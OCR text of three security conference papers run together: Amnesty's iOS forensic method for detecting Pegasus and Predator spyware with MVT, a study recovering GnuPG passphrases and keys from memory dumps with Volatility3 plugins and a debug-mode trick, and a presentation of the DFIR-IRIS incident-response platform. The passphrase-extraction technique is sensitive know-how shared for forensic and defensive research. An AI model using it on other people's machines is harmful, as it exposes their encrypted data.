"Whitelisted": false,
"SupportedAuthorizationMask": 5,
"BundlePath": "/System/Library/PrivateFrameworks/
FindMyDevice.framework",
"AuthorizationUpgradeAvailable": false,
"Authorization": 4,
"Registered": "",
"Executable": "",
"ConsumptionPeriodBegin": "2021-10-06 12:47:09.339589",
"package": "com.apple.locationd.bundle-/System/Library/
PrivateFrameworks/FindMyDevice.framework"
1,

Listing 4. Exemple de données extraites de clientsplist
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Raccourcis Le malware Prédator développé par 'entreprise Cytrox et
analysé par le Citizen Lab en décembre 2021 [24] utilise des raccourcis
iOS pour étre persistant au redémarrage du téléphone. Un raccourci est
créé sur le téléphone avec une automatisation pour activer cette tache lors
du lancement d’une application sur le téléphone. Cette tache télécharge
alors du code javascript depuis un serveur géré par Cytrox et 'exécute
sur le téléphone.

Les informations sur les raccourcis présents sur le télé-
phone sont stockées dans le fichier private/var/mobile/Library/-
Shortcuts/Shortcuts.sqlite qui est présent dans les backups (id
5b4d0b44b5990f62b9f4d34ad8dc382bf0b01094). 11 s’agit donc d’un
indicateur utile pour identifier ce type de persistance.

{
"shortcut_id": 2,
"shortcut_name": "Automation 71F559AF-A383-46AA-8A14-
D4D82C95139F ",
"modified_date": "2022-04-02 16:55:11.325908",
"description": "Open URLs",
"isodate": "2022-04-02 16:44:23.281346",
"parsed_actions": 1,
"action_urls": [
"https://amnesty.org"
]
}

Listing 5. Exemple de données extraites d’un raccourci

Profils de configuration Enfin, le malware Prédator installe égale-
ment un profil de configuration sur le téléphone [24]. Les profils de
configurations permettant d’accéder & de nombreuses fonctionnalités
sur un iPhone, il s’agit d’un artefact utile pour identifier des attaques
(avec ou sans malware). Les données sur les profils de configurations
sont stockées dans le dossier Library/ConfigurationProfiles/ et dispo-
nibles dans les backups sous le domaine SysSharedContainerDomain-
systemgroup.com.apple.configurationprofiles.

6 Le Mobile Verification Toolkit

Afin de simplifier 'analyse de backups, nous avons développé et publié
un logiciel : le Mobile Verification Toolkit [16] (ci-apres appelé MVT).

MVT permet a la fois d’aider a I'analyse d’un téléphone (par exemple
en déchiffrant un backup d’iPhone), d’extraire les données ainsi que
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d’identifier de potentielles traces malveillantes a partir d’indicateurs de
compromission (I0C).

L’analyse d’artefacts est organisée en modules, comme le module SMS
ou OSAnalyticsADDaily. Les modules sont regroupés par type d’analyse
(par exemple les modules pour backup) et sont lancés les uns apres les
autres lors d’une I'analyse. Chaque module peut réaliser trois taches : tout
d’abord extraire des informations d’un artefact (ces informations peuvent
étre stockées en JSON par la suite), ensuite transformer ces résultats sous
la forme de données datées permettant I’établissement d’une chronologie,
et enfin vérifier la présence d’indicateurs de compromission.

Des indicateurs de compromissions (IOC) peuvent étre transmises
a MVT sous la forme de fichiers au format STIX2 [9], regroupant par
exemple des domaines, adresses email, hashs ou noms de processus. Une
commande download-iocs permet de télécharger plusieurs fichiers existants
(dont un pour Pégasus) et de les précharger lors d’une analyse.

Il faut noter que la licence de MVT ne permet son utilisation qu’avec le
consentement du ou de la propriétaire du téléphone. Méme si le forensique
a des utilisations légitimes, nous connaissons aussi la menace qu’il fait
peser sur de nombreux DDH lors de saisies de leur matériel informatique
par des agences étatiques, et avons voulu limiter 1'utilisation de MVT
dans ce cadre-la.

Voici a quoi pourrait ressembler ’analyse d’un iPhone avec MVT et
libimobiledevice (les logs ont été raccourcis pour plus de visibilité) :

$ idevicebackup2 backup -d FOLDER

Backup directory is "backup3"

Started "com.apple.mobilebackup2" service on port 49257.
Negotiated Protocol Version 2.1

Starting backup...

Backup will be encrypted.

Requesting backup from device...

Full backup mode.

[E=s=ss==ss 1 18% Finished

Receiving files

[============== ] 28% Finished
/23.9 MB)

Receiving files

[============================== ] 58% Finished
/84.8 MB)

[SNIP]

Sending ’c4ef0ab5293610788fd86e641ef9cd8f072c4b08/Status.plist’ (189
Bytes)

Sending ’c4ef0ab5293610788fd86e641ef9cd8f072c4b08/Manifest.plist’
(80.9 KB)

Sending ’c4ef0ab5293610788fd86e641ef9cd8£f072c4b08/Manifest.db’ (3.3
MB)

Received 1106 files from device.
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‘Backup Successful.

Listing 6. Extraction du backup avec libimobiledevice

$ mvt-ios decrypt-backup -p [PASSWORD] -d decrypted FOLDER
MVT - Mobile Verification Toolkit
https://mvt.re
Version: 1.4.9

INFO [mvt.ios.cli] Your password may be visible in the process
table because it was supplied on the command line!

INFO [mvt.ios.decrypt] Decrypting i0S backup at path backup2
with password

INFO [mvt.ios.decrypt] Decrypted file Library/Cookies/Cookies.

binarycookies [AppDomain-ch.icoaching.typewise] to decrypted2
/14/14cba36499£f91a10ab77753fc7cbb36ce587320e

INFO [mvt.ios.decrypt] Decrypted file Library/Preferences/ch.
icoaching.typewise.plist [AppDomain-ch.icoaching.typewise] to
decrypted2/22/222294a11b55fb6581548ecd803belaf959c4295

[SNIP]

Listing 7. Déchiffrement du backup avec MVT

$ mvt-ios check-backup -o results decrypted

MVT - Mobile Verification Toolkit
https://mvt.re
Version: 1.4.9

INFO [mvt.ios.cli] Checking iTunes backup located at: decrypted

INFO [mvt.ios.cli] Parsing STIX2 indicators file at path [PATH]/
raw.githubusercontent.com_AmnestyTech_investigations_master_2021
-07-18 _nso_pegasus.stix2

INFO [mvt.ios.cli] Loaded 1499 indicators from "Pegasus"
indicators file
INFO [mvt.ios.cli] Parsing STIX2 indicators file at path [PATH]/

raw.githubusercontent.com_AmnestyTech_investigations_master_2021
-12-16 _cytrox_cytrox.stix2

INFO [mvt.ios.cli] Loaded 330 indicators from "Cytrox"
indicators file

INFO [mvt.ios.cli] Loaded a total of 1829 unique indicators

INFO [mvt.ios.modules.backup.backup_info] Running module
BackupInfo...

INFO [mvt.ios.modules.backup.backup_info] Build Version: 18C66

INFO [mvt.ios.modules.backup.backup_infol Device Name: iPhomne

[SNIP]

INFO [mvt.ios.modules.backup.manifest] Running module Manifest

INFO [mvt.ios.modules.backup.manifest] Found Manifest.db
database at path: decrypted/Manifest.db

INFO [mvt.ios.modules.backup.manifest] Extracted a total of 3738
file metadata items

INFO [mvt.ios.modules.backup.manifest] The Manifest module

produced no detections!
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INFO [mvt.ios.modules.mixed.osanalytics_addaily] Running module
0SAnalyticsADDaily...
INFO [mvt.ios.modules.mixed.osanalytics_addaily] Found com.apple

.osanalytics.addaily plist at path: decrypted/f6/
f65b5fafc69bbd3c60be019c6e938e146825fa83

INFO [mvt.ios.modules.mixed.osanalytics_addaily] Extracted a
total of 120 com.apple.osanalytics.addaily entries

WARNING [mvt.ios.modules.mixed.osanalytics_addaily] Found a known
suspicious process name "actmanaged" matching indicators from "
Pegasus"

[SNIP]

WARNING [mvt.ios.cli] The analysis of the backup produced 1
detections!

Listing 8. Analyse du backup avec MVT

On voit dans les logs de cette commande que MVT charge tout d’abord
un certain nombre d’indicateurs (1829 ici), puis commande 'analyse qui
se fait module par module. Le premier module par exemple, backup__info,
nous donne des indications sur le téléphone (nom, IMEI, applications
installées, etc.). Les modules suivants continuent leur exécution jusqu’au
module osanalytics _daily qui indique avoir identifié un processus nommé
actmanaged et connu dans les indicateurs comme étant un processus de
Pégasus.

A la suite de cette analyse, le dossier results contient un certain nombre
de fichiers JSONS créés par les différents modules, ainsi qu'une chronologie
des évenements dans le fichier timeline.csv. Si un indicateur a été détecté
par un module, il sera alors copié dans un fichier JSON distinct terminé
par _detected (par exemple datausage_detected.json) et reporté dans un
fichier timeline detected. csv.

7 Résultats

Lors du projet Pégasus, nous avons analysé 67 téléphones de jour-
nalistes ou DDH, et identifié des traces de Pégasus sur 37 d’entre eux.
Ce chiffre peut paraltre assez bas mais il faut bien comprendre qu’un
certain nombre de ces téléphones étaient des téléphones Android pour
lequel I'analyse est beaucoup moins fiable, et qu'une partie des personnes
avaient changé de téléphone depuis leur attaque potentielle. Si nous ne
comptons que les iPhone qui étaient déja utilisés au moment d’une attaque
potentielle, nous avons alors trouvé des traces de Pégasus sur plus de 75
% d’entre eux.

Nous avons publié en annexe de notre méthodologie [14] une liste des
traces d’infection trouvées sur ces différents téléphones, issues directement
des chronologies générées par MVT. Le tableau 1 montre le détail des
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traces forensiques trouvées sur le téléphone d’Andras Szabd, journaliste
hongrois au média Direkt36. On retrouve dans ce tableau les artefacts
décrits plus haut : création de fichiers connus pour étre des traces de
Pégasus, suppression d’entrées dans la table ZPROCESS de la base de
données DataUsage.sqlite, ou encore recherche de comptes iCloud par
iMessage venant du fichier IDStatusCache.

Date (UTC) Event
2019-06-13 11 :15 :40|File created : Library /Preferences/com.apple.CrashReporter.plist
from RootDomain
2019-06-13 11 :15 :53|File created : Library/Preferences/roleaccountd.plist from Root-

Domain

2019-06-13 12 :39 :40|Process record deleted from ZPROCESS (IN : 3.69 MB, OUT :
27.39 MB)

2019-06-15 08 :06 :27|Process record deleted from ZPROCESS (IN : 0.32 MB, OUT :
0.56 MB)

2019-07-25 09 :31 :09|Process record deleted from ZPROCESS (IN : 7.80 MB, OUT :
6.43 MB)

2019-08-16 10 :13 :19|Process record deleted from ZPROCESS (IN : 18 MB, OUT :
29.81 MB)

2019-09-15 15 :30 :44|Process record deleted from ZPROCESS (IN : 1.27 MB, OUT :
3.34 MB)

2019-09-17 06 :33 :24|Process record deleted from ZPROCESS (IN : 2.00 MB, OUT :
5.57 MB)

2019-09-24 13 :26 :15|iMessage lookup for account jessicadavies1345@outlook.com
2019-09-24 13 :26 :51|iMessage lookup for account emmadavies8266@gmail.com
2019-09-24 13 :32 :10|Process : roleaccountd (IN : 0.02 MB, OUT : 0.003 MB)
2019-09-24 13 :32 :11|Process : roleaccountd

2019-09-24 13 :32 :13|Process : stagingd (IN : 4.03 MB, OUT : 0.19 MB)

2019-09-24 13 :32 :23|Process : stagingd

2019-09-26 14 :32 :25|Process record deleted from ZPROCESS (IN : 1.16 MB, OUT :
2.81 MB)

2019-10-24 05 :40 :33|Process record deleted from ZPROCESS (IN : 12.81 MB, OUT :
46 MB)

Tableau 1. Détails des traces d’infection sur le téléphone du journaliste hongrois
Andras Szabd

Sur les traces de 41 téléphones publiées en juillet 2021, 27 contiennent
des traces venant de idstatuscache, 23 contiennent des traces venant de
DataUsage, 22 venant de Manifest.db et 8 venant de SMS (le fichier OS
Analytics Daily, les raccourcis et profils de configurations n’ont pas été
analysés durant le projet).
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8 Conclusion

Dans cet article, nous avons vu en détail la méthodologie de foren-
sique que nous avons développée au sein du Security Lab d’Amnesty
International pendant le projet Pégasus. Au-dela des aspects techniques,
ces révélations ont mis en lumiere les abus incessants contre les DDH
et journalistes rendus possibles par l'industrie de la surveillance dont
NSO Group est la figure centrale. Du Mexique a I'Inde, en passant par
la Hongrie ou le Maroc, les outils de NSO Group ont été constamment
utilisés pour cibler et pirater des journalistes ou militant-es luttant pour
les droits humains dans des contextes extrémement difficiles.

Ces révélations doivent maintenant entrainer des actions de la part
des Etats, les organisations internationales et les grandes entreprises de
la technologie. L’ajout par le département du ccommerce états-uniens de
NSO Group et Candiru sur une liste des entités connues pour des activités
malveillantes [28], le proces intenté par Apple [2] contre NSO Group ainsi
que les notifications envoyées aux personnes ciblées sont des évolutions
extrémement positives dans la lutte contre ces abus. On ne trouvera
néanmoins pas de solution pérenne sans accords internationaux sur ce
sujet. Amnesty, comme d’autres organisations, appelle & un moratoire sur
I'utilisation, la vente et le transfert de technologies de surveillance jusqu’a
ce qu'un cadre réglementaire approprié en matiere de droits humains soit
mis en place [18].

Au sein de nos communautés de sécurité informatique, ou la limite
entre sécurité offensive et surveillance peut-étre poreuse, il nous faudra
également questionner le réle que nous jouons en tant que hacker-euses et
ingénieur-es dans le développement de telles technologies.
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Abstract. After nearly 25 years of existence, GnuPG (GPGQG) is still a
widely used solution for message encryption. GPG works with an agent
(gpg-agent) containing multiple functions, including caching passphrases
and encryption keys. First, this work highlights a bug of libgcrypt memory
cleaning which allows reading 8 bytes of the passphrase in the clear from
a memory dump. Second, it further demonstrates general techniques to
retrieve passphrases and encryption keys from a memory dump, either of
the gpg-agent process or a full system dump. To demonstrate our work,
we provide Volatility3 plugins to retrieve associated key material and the
original passphrase. We also show how this can be used as a defensive
countermeasure in some practical scenarios.

1 Introduction

Pretty Good Privacy (PGP) and the open source implementation GNU
Privacy Guard (GPG) are encryption solutions following the OpenPGP
standard [7]. Even if GPG has been criticized in the past, it is widely
used and deployed and has been publicly reviewed during many years [18].
Thus it is used in practice to protect sensitive data.

Volatility is a widely used forensics framework [11]. It is used to analyze
volatile memory dump artifacts to extract data. For example, it has been
used in the past to recover Bitlocker volume encryption keys while they
are in RAM [17] or to solve challenges of previous SSTIC editions [4]. The
framework is highly customizable and allows writing plugins in Python
to fit specific needs. In 2021, the Volatility Foundation released a new
version of the framework, Volatility3 [8].

This work briefly explains the basic usage of GPG, then how GPG
stores the passphrases in RAM. A short description of relevant previous
works is then given. From this knowledge we provide a way to extract
the passphrase from a memory dump. We first show a bug of Libgcrypt
(the GPG cryptographic library) memory cleaning which allows reading 8
bytes of the passphrase in cleartext. Then we show how to find AES keys
in memory and how to decrypt cached items containing the passphrases.
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We give practical examples where these methods may be applied and, to
demonstrate our analysis, we provide Volatility3 plugins implementing
our methods.

2 GPG usage of cached items

A common way to decrypt data with GPG on a command line is as
following:

$ gpg -d clear.gpg
gpg: encrypted with 3072-bit RSA key, ID 8BEE55C2F43F1E63, created

2021-07-14
"user-test <user@test.org>"
Hello GPG

The first time the decryption is called, the system asks the user for
their passphrase to decrypt the private key needed to decrypt the file.
Then for the subsequent decryptions, the passphrase is not asked but read
from cache. The same mechanism is used for symmetric-key encryption.
The cache time to live has a default value of 10 minutes. After the time
to live elapsed, the cached item is cleared from memory.

To avoid having key material directly in cleartext in memory, GPG
encapsulates such key material before storing it in memory. The idea of
that is that if a TPM is available, then the encapsulation key can be
stored in a safe memory area. However, TPMs are usually not used and
the encapsulation key stays in regular memory.

3 GPG memory structure

A cached item is stored in the ITEM structure. We find this structure
in gnupg/agent/cache.c (GPG version 2.3.4):

/* The cache object. */
typedef struct cache_item_s *ITEM;
struct cache_item_s {
ITEM next;
time_t created;
time_t accessed; /* Not updated for CACHE_MODE_DATA */
int ttl; /* maz. lifetime given in seconds, -1 onme means infinite
*/
struct secret_data_s *pw;
cache_mode_t cache_mode;
int restricted; /* The walue of ctrl->restricted is part of the
key. */
char key[1];
}s
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/* The cache himself. */
static ITEM thecache;

Listing 1. The cache_item__s structure

The ITEM structure is a chained list containing the cached item address
and additional data. Among them, there are the time of creation and
time of last access. These values are unix epoch times, the number of
seconds elapsed since January 1, 1970. Then there is the time to live (ttl)
field which is the number of seconds gpg-agent has to keep the item in
cache. By default it is set to 10 minutes (0x0258 seconds). If gpg-agent
found that the last accessed time is older than the time to live, the item
is cleared from cache. After that we have the address of a secret_data_s
structure. The secret_data_s structure contains the length of the cached
item in bytes followed by the encrypted item with AES in key wrap mode:

struct secret_data_s {
int totallen; /* This 4ncludes the padding and space for AESWRAP.
*/
char datal[1]; /* A string. *x/
}s

Listing 2. The secret__data_ s structure

The encapsulation key used to encrypt the data is generated randomly
when gpg-agent starts. Since GPG also stores the encapsulation key in
memory, one simply needs to know where it is stored in memory to then
decrypt the cached item.

3.1 AES Key wrap

GnuPG uses AES Key Wrap mode of operation to encapsulate key
material in memory as defined in RFC 3394 [10]. The AES Key wrap
algorithm is used to encrypt (wrap) keys or secrets with another key. It is
used in several solutions like Apple FileVault 2 [6] or Cryptomator [14]. As
shown in figure 1, the mode uses two 64-bit blocks concatenated together
as input of AES encryptions.

This step is iterated 6 times and the final R values obtained are
outputed as the ciphertext. Decryption works in exactly the same way but
in the reverse order. The initialization vector (IV) can be any value but
the RFC default value is Oxa6a6a6a6a6ababab. It allows for verification
of the integrity of the decrypted key after the decryption. If the last
decrypted block yields a value that starts with the IV, decryption is
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Fig. 1. First iteration of AES Key wrap encryption

considered correct as long as no other error is returned. GPG uses the
implementation of AES key wrap provided by the libgerypt library.

In GPG, the cached item encryption is used to prevent attack-
ers from simply grepping for passphrases in memory as commented in
gnupg/agent/cache.c (GPG version 2.3.4) and shown in listing 3.

/* The encryption context. This 1s the only place where the
encryption key for all cached entries s awvailable. It would be
nice
to keep this (or just the key) in some hardware device, for
example
a TPM. Libgcrypt could be extended to provide such a service.
With the current scheme it is easy to retrieve the cached entries
i1f access to Libgcrypt’s memory tis available. The encryption
merely avoids grepping for clear texts in the memory.
Nevertheless
the encryption provides the necessary infrastructure to make it
more secure. */
static gcry_cipher_hd_t encryption_handle;

Listing 3. GPG memory threat model

However, as we will see later, someone who has access to the memory
can also retrieve the encryption key and decrypt cached items anyway.

4 Previous works

A previous problem concerning gpg-agent and the cached items was
exploited by GPG Reaper [16]. The time to live of cached items was
not checked if no gpg-agent action was performed and thus some items
may stay in memory indefinitely. Then, if a machine is compromised, the
guru debug level (--debug-level guru) allows displaying cached items
in clear if they were not deleted. The time to live problem was corrected in
version 2.2.6. The guru debug level, as shown in listing 4, is still working
as intended, for example, if we decrypt a file while the passphrase is still
in memory.
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$ gpg --debug-level guru -d clear.gpg

gpg: DBG: chan_4 -> GETINFO cmd_has_option GET_PASSPHRASE repeat

gpg: DBG: chan_4 <- 0K

gpg: DBG: chan_4 -> GET_PASSPHRASE --data --repeat=0 --
S9319569F117FE96D X X Enter+passphrase’OA

gpg: DBG: chan_4 <- D testpassword

gpg: DBG: chan_4 <- 0K

Listing 4. GPG debug level guru

The passphrase testpassword is returned in clear from gpg-agent.
However, access to the machine containing the cached item is required in
this case.

An interesting Volatility plugin allows extracting Bitlocker volume
encryption keys from memory dumps [17]. This plugin uses a known
method [9,12] which consists in scanning the memory and searching by
blocks of 16 bytes if the block satisfies the AES key schedule relations
with respect to the blocks next to it. If such blocks are found, we can
conclude that an AES key was found in memory. Since Bitlocker uses AES
in various modes for volume encryption, this technique is used to recover
the volume encryption keys.

5 Cached item retrieval

Two attack vectors will be discussed here allowing to retrieve
passphrases in GPG memory.

To avoid having sensitive values left in memory after process-
ing, libgcrypt deletes those values when they are not used any-
more. For example, a variable is wiped with the function wipememory
and the stack is cleaned with the function _gcry_burn_stack.
However, in libgcrypt, the function _gcry_cipher_aeswrap_decrypt
(libgcrypt/cipher/cipher-aeswrap.c on line 81) did not clean a tem-
porary variable containing the last decrypted block. Suppose we use
GPG to decrypt some cleartext using a passphrase. At the end of the
cached item decryption, the temporary variable contains the IV value
Oxa6ababababababab followed by the first 8 bytes of the passphrase. For
example, if a dump of gpg-agent’s memory using gcore or a dump of
the whole system memory using LiIME [15] can be obtained, then, we
should retrieve the constant Oxa6a6a6a6a6a6a6a6 in memory, next to
the first 8 bytes of the passphrase. We reported this problem to GPG
maintainers [13]. This was quickly corrected and following versions of
GPG 2.3.4 should not be affected by this issue.
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We saw that each cached entry has two timestamps created and
accessed of type time_t. This information can be leveraged to search
for such patterns in memory and retrieve the location of cache_item_s
instances. If we can estimate the time of creation of the cached item,
we can search for masked timestamps concatenated in memory fol-
lowed by the time to live value. For example the regular expres-
sion .{3}\x00\x00\x00\x00.{3}\x61\x00\x00\x00\x00\x58\x02 will
search for all timestamps created after July 27, 2021 12:45:52 PM and
before February 6, 2022 5:06:08 PM with a time to live of 10 minutes. To
further reduce the number of false positives during the search, for each
match, the created time can be checked to be less than or equal to the
accessed time. Then, as soon as the ITEM structure has been found, we
can access the secret_data_s structure.

To recover the encryption key, we used the same method as the one
used by the Bitlocker plugin [17]. We scan the process memory until we
find a 128-bit expanded AES key. Then we use this key to decrypt the
cached item. If the integrity of AES key wrap is verified we know we have
properly decrypted the cached item and recovered the passphrase.

6 Real-world use cases

This section describes real-world use cases where GPG is used and
in-memory key material recovery has an impact. From a general point of
view, if an attacker has physical access to a machine, they can copy the
volatile memory and later apply the techniques explained before.

Memory forensics may be used during a criminal investigation to
analyze memory dumps obtained during a search and seizure [5]. After the
data has been copied the investigator may need to obtain the passphrases
stored encrypted in cached items to further decrypt conversations. These
techniques may also be applied to investigate virtual machines stored
remotely in servers which are seized.

Ransomware is a common problem nowadays. These malicious software
encrypt files on an infected machine and ask the owner for a ransom so that
they can recover their files. It happens that some ransomware, rely on well
studied tools to encrypt a user’s data. Ransomware such as KeyBTC [1],
VaultCrypt [2] or Qwerty [3] use GPG to encrypt files.

In the event that a victim of such a ransomware just noticed what
happened when they get infected, the victim or the incident response team
could make a memory dump of the whole system and later retrieve the
password or decryption key from memory. Thus, thwarting the ransomware
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threat and retrieving the original files without having to pay a ransom at
all. Note that the ransomware would have to rely on symmetric encryption
for this to work (gpg --symmetric) and, so far, we have not found any
ransomware relying on GPG symmetric encryption.

7 Open source contributions

We developed two plugins for Volatility3 available at https://github.
com/kudelskisecurity/volatility-gpg. The first plugin retrieves par-
tial (or complete, up to 8 characters) passphrases from memory by search-
ing in gpg-agent’s memory the constant IV of aes-wrap. This plugin
would not work on versions of GPG later than version 2.3.4. Listing 5
shows an example of usage on an Ubuntu 21.10 VM dump.

$ vol -f ubuntu-21.10-vm-gpg.raw -s ./volatility-gpg/symbols/ -p ../
gpg —mem-forensics/volatility-gpg/ linux.gpg_partial

Volatility 3 Framework 2.0.0

Progress: 100.00 Stacking attempts finished

Offset Partial GPG passphrase (max 8 chars)

0x7fb73d53a2a0 my_passp

Listing 5. Partial passphrase recovery

The first 8 bytes of the passphrase were found in clear in memory.

$ vol -f ubuntu-21.10-vm-gpg.raw -s ./volatility-gpg/symbols/ -p ../
gpg—mem-forensics/volatility-gpg/ linux.gpg_full
Volatility 3 Framework 2.0.0

Progress: 100.00 Stacking attempts finished
Offset Private key Secret size Plaintext
0x7fb738002658 0b78497b0d26239211b8841c59e943f7 32

my_passphrase

Listing 6. Full passphrase recovery

The second plugin retrieves cached items in memory and cache en-
cryption keys and therefore helps recover plaintexts. An example of usage
on an Ubuntu 21.10 VM dump is shown in listing 6, where the plugin
successfully found the entire passphrase my_passphrase in memory. The
first plugin execution took 6.4 seconds and the second 59.7 seconds on an
Intel Core i7-7600U CPU for a 1GB RAM dump.
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8 Conclusions

To conclude, we have analyzed a bug in libgcrypt where after cleaning
memory it was still possible to read 8 bytes of the passphrase in clear
from a memory dump. We have further analyzed how to decrypt cached
items stored in GPG memory. Our work highlights that GPG is a solid
encryption solution, but it should be used in conjunction with a TPM or
a secure enclave solution to harden the security against physical attacks.
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Résumé. Dans cet acte, nous présentons DFIR-IRIS [9], une plateforme
de réponse sur incident collaborative récemment publiée en open-source.
Elle tente d’offrir une réponse efficace et opérationnelle aux nombreuses
problématiques que pose la réponse sur incident, principalement com-
merciale. Partage des informations, collaboration en temps réel, création
de timeline, suivi automatisé des différentes taches effectuées, présenta-
tion partielle et finale des informations aux clients, sont autant d’étapes
qu’il est nécessaire de faciliter et minimiser afin de réduire la charge des
analystes. De ces constats est donc né DFIR-IRIS.

1 Introduction

1.1 Les défis

En 2019, notre CSIRT était composé d’une équipe de taille réduite
exclusivement dédiée a la réponse sur incident commerciale. Elle disposait
alors d’un outillage, composé notamment d’un collecteur forensique com-
patible Windows et Linux développé en interne, une sandbox, ainsi qu’une
chaine de traitement des données collectées, permettant de réaliser des
investigations allant de la levée de doute aux compromissions avancées
de type APT. Il manquait cependant un élément crucial permettant de
centraliser et automatiser les informations techniques d’une investigation
en cours. La multiplication des prestations sur des incidents de grande
ampleur ainsi que 1’explosion - en 2019 - des attaques par rangongiciel a
mis en exergue ce manque, notamment die a :

— la durée étendue des investigations (entre 1 et 3 mois),

— le volume des données a traiter (et donc des taches a effectuer),

— la multiplication des indices de compromission et des traces mal-

veillantes découverts a la suite d’une analyse,

— la rotation des effectifs et le transfert des informations qu’elle

entraine.

A cela s’ajoutait le travail classique d’enrichissement des indicateurs,
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la génération des rapports intermédiaires et finaux ainsi que la tenue
d’une main courante. Ces éléments ont inévitablement entrainé des soucis
d’organisation interne mineurs ainsi qu’une fatigue accrue des effectifs.
Par conséquent, ce manque de centralisation et d’automatisation se devait
d’étre comblé.

1.2 Présentation de ’outil

Nous avons ainsi développé la plateforme DFIR-IRIS pour répondre a
ce besoin et cette maniere spécifique de gérer les incidents. Son dévelop-
pement a commencé - en interne - fin 2019 et s’est poursuivi au fur et a
mesure jusqu’a sa sortie en open-source le 27 Décembre 2021 sous licence
LGPL. Elle a été utilisée des ses premieres versions, et mise a 1’épreuve
dans une centaine de réponses sur incident variées.

Le projet est disponible sur Github et la documentation est disponible
sur https://dfir-iris.github.io/.

2 Etat de l’art

Nous excluons les produits commerciaux puisque la solution présentée
ici est disponible gratuitement et en open-source. Vous retrouverez ci-
dessous la comparaison avec cing autres solutions disponibles librement :

— TheHive [7]

— FIR [3]

— Catalyst [6]

— Aurora [1]

— DFIRTrack [2]

Avant de développer une nouvelle solution, nous avons vérifié si un produit
existant pouvait déja combler le besoin en question. Lorsque nous nous
sommes posé la question, seuls les projets TheHive et FIR existaient
déja a notre connaissance - DFIRTrack était déja publié mais nous ne
I’avons découvert que plus tard. Pendant six mois, nous avons utilisé en
production une de ces deux solutions, mais nous avons finalement conclu
qu’elle n’était pas entierement adaptée a cet aspect commercial de la
réponse sur incident. Le tableau en Figure 1 ci-dessous présente un petit
état de l'art sur les fonctionnalités proposées par ces différentes solutions.

Des outils disponibles en open-source, nous dressons le constat suivant.
Les plateformes collaboratives comme TheHive, FIR, et Catalyst, s’ins-
crivent globalement dans une utilisation CERT interne ou SOC, c’est-a-dire
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Fonctionnalités DFIR-IRIS TheHive FIR Catalyst Aurora DFIRTrack
Version 14 4.1 {open-source) Python 3.8 v0.9.1 0.6.6 241
Date de premiére publication Décembre 2021 Septembre 2018 Mars 2015 Décembre 2021 Juin 2020 Novembre 2018
Date de iere publication Avril 2022 Février 2022 Janvier 2022 Mars 2022 Mars 2021 Février 2022
Python 3 Scala Python 3
Flask Play Django JavaScript Python 3
Codebase Celery Akka Celery Golang Electron Django
Modéle service web oui oui oui oui non, client JS oui
Rest API oui oui oui (plugin) oui non oui
Contexte par incident oui oui oui oui oui non
Gestion d'alerte/ticket SOC non oui oui oui non non
Gestion d'assets oui non non oui (artifact) oui oui
Gestion d'10C oui oui (observable) oui (artifact) oui (artifact) oui oui
Gestion de notes oui oui (task log) non non non oui
Ajout de log oui oui oui (comment) oui oui non
Ajout de TTPs non oui non non non non
Webhooks non oui non non non non
Meodulaire oui oui (Cortex) oui oui [automation scripts) non non
Reporting oui (docx template) non non non non oui (markdown, csv)
Timeline d'événement oui non non non oui oui (par machine)
Nombre de modules actuels 3 +100 13 -
Gestion de tiches oui oui oui oui oui oui
oui (simple, 0IDC
avec
ion Keycloak) oui (MFA et $50) oui (simple) oui (0IDC) non oui (simple)
Autorisation user/admin organisations et réles  user/admin  user/admin et réles (i iliti non oui

Fig. 1. Etat de I’art des solutions SIRP en source ouverte

qu’elles offrent une gestion des incidents type "ticket", avec le traitement
automatisé des alertes provenant de SIEM par exemple. Bien que tres
efficaces et abouties dans ce type d’incident, elles ne sont pas optimisées
pour la gestion d’incidents ou les équipes font face a des systéemes qu’elles
ne maitrisent et ne connaissent pas.

Certaines plateformes comme DFIRTrack et Aurora proposent ce type
de fonctionnalités, mais offrent des moyens collaboratifs limitées voire
inexistants. Comme vu dans le tableau précédent, TheHive est une solution
particulierement compléte, mais la version majeure 4 est la derniére a étre
open-source, et son support se terminera fin 2022. L’utilisation d’Excel ou
Wiki, bien qu’efficaces et rapides a mettre en place, sont limités en termes
de collaboration et automatisation.

Enfin, nous n’avons - et ne pouvons - pas couvrir les solutions payantes
faute de pouvoir les tester. Elles semblent s’inscrire d’avantage dans un
écosysteme d’outils SOC (exemple : le couple Phantom [8]/Splunk, ou
Resilient [5]/Qradar), et proposent des fonctionnalités de playbooks et de
machine learning.

Nous souhaitions donc proposer une alternative.

3 DFIR-IRIS

3.1 Fonctionnalités de DFIR-IRIS

DFIR-IRIS permet aux analystes de s’organiser et partager les éléments
techniques durant les engagements. Chaque membre de 1’équipe dispose
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Fig. 2. Fonctionnalité Timeline de DFIR-IRIS

de son compte et peut suivre en direct ce que ses pairs font, ajouter de
nouveaux éléments a l'investigation, attribuer des taches et bien plus.
La plateforme offre aussi une fonctionnalité de reporting permettant
de générer des rapports basés sur des modeles docx et les éléments de
I'investigation.

Assets, IOC, notes, événements et évidences font partis des éléments
qu’il est possible de renseigner et lier entre-eux. Des timelines graphiques
et un graphe sont automatiquement générés a partir de ces données.
La plateforme suit aussi les actions effectuées afin de réaliser une main
courante, a laquelle des entrées manuelles peuvent étre ajoutées.

A cela s’ajoute D'enrichissement automatique via des sources externes
tels que MISP ou VirusTotal. Des indicateurs permettent aussi de savoir
si un asset ou un IOC a déja été rencontré dans le passé. Et pour plus de
flexibilité la plateforme peut étre automatisée et étendue grace a son API
et au concept de modules. Il est méme possible d’étendre les champs par
défaut des éléments en fonction des besoins.

3.2 API et client Python

Toutes les fonctionnalités de I'interface sont accessibles via une API,
permettant de simplifier 'automatisation et I'intégration de DFIR-IRIS



= O ©OoO0 Utk W=

=

13
14
15
16

17
18
19
20
21
22

M. Amicelli, M. Letailleur 39

avec des produits existants. Un client Python est aussi disponible pour faci-
liter cette intégration. Il est directement publié sur PyPI et est installable
via pip.

Le code suivant démontre succinctement comment le client peut étre
utilisé pour ouvrir un nouveau cas et y ajouter un IOC en quelques lignes
seulement.

from dfir_iris_client.case import Case
from dfir_iris_client.session import ClientSession

# Get a session instance thanks to the API key
session = ClientSession(apikey=os.environ.get(’IRIS_API _KEY’),
host=’http://iris.local’, ssl_verify=True)

# Initiate the case object and create the case
case = Case(session=session)
case.add_case(case_name=’A new case’,
case_description=’Short initial description, or really
long description. It\’s up to you’,
case_customer=’SS5TIC’,
soc_id=’soc_11’,
create_customer=True)

# Create directly the IOC. More fields are available but we’re just
using these 3 omes for the demo.
status_ioc = case.add_ioc(value=’superevildomain.com’,
ioc_type=’domain’,
description=’Not a good domain’)

# Print out what the server replied
print (status_ioc)

